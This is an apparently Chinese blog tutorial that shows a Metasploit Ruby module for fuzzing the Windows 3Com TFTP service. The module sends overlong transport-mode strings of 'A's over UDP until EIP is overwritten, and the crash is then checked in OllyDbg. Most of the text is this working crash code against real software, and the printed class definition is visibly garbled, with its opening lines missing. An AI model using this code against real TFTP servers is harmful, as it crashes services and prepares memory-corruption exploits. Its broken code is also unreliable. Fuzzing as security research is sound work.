Metasploit 编写简单的TFTP漏洞检查工具

编写您自己的TFTP漏洞检查工具

Metasploit最强大的方面之一是通过重用现有代码来进行更改和创建新功能是多么容易。

 

例如,正如这个非常简单的Fuzzer代码所演示的那样,您可以对现有的Metasploit模块进行一些小修改以创建一个Fuzzer模块。这些更改会将不断增加的传输模式值传递给Windows 3Com TFTP服务,从而导致覆盖EIP。

#Metasploit

require 'msf/core'

class Metasploit3  '3Com TFTP Fuzzer',
                        'Version'        => '$Revision: 1 $',
                        'Description'    => '3Com TFTP Fuzzer Passes Overly Long Transport Mode String',
                        'Author'         => 'Your name here',
                        'License'        => MSF_LICENSE
                )
                register_options( [
                Opt::RPORT(69)
                ], self.class)
        end

        def run_host(ip)
                # Create an unbound UDP socket
                udp_sock = Rex::Socket::Udp.create(
                        'Context'   =>
                                {
                                        'Msf'        => framework,
                                        'MsfExploit' => self,
                                }
                )
                count = 10  # Set an initial count
                while count < 2000  # While the count is under 2000 run
                        evil = "A" * count  # Set a number of "A"s equal to count
                        pkt = "\x00\x02" + "\x41" + "\x00" + evil + "\x00"  # Define the payload
                        udp_sock.sendto(pkt, ip, datastore['RPORT'])  # Send the packet
                        print_status("Sending: #{evil}")  # Status update
                        resp = udp_sock.get(1)  # Capture the response
                        count += 10  # Increase count by 10, and loop
                end
        end
end

 

测试我们的漏洞检查工具

我们需要用上软件:OllyDbg,非常直截了当。让我们运行它,看看会发生什么。

OllyDbg

我们有一个崩溃!我们新的Fuzzer工具按预期工作。尽管表面上看起来很简单,但需要考虑的一件事是可以为我们提供的可重用代码。

在我们的例子中,为我们定义了有效载荷结构,为我们节省了时间,并且允许我们直接进行Fuzzer测试而不是研究TFTP协议。这是非常强大的,并且是Metasploit框架的一个隐藏的好处。

    A+
发布日期:2018年05月16日 13:01:46  所属分类:Metasploit
最后更新时间:2018-05-16 13:01:46
付杰
  • ¥ 798.0元
  • 市场价:1298.0元
  • ¥ 39.0元
  • 市场价:39.0元
  • ¥ 1.0元
  • 市场价:9.9元
  • ¥ 198.0元
  • 市场价:398.0元

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: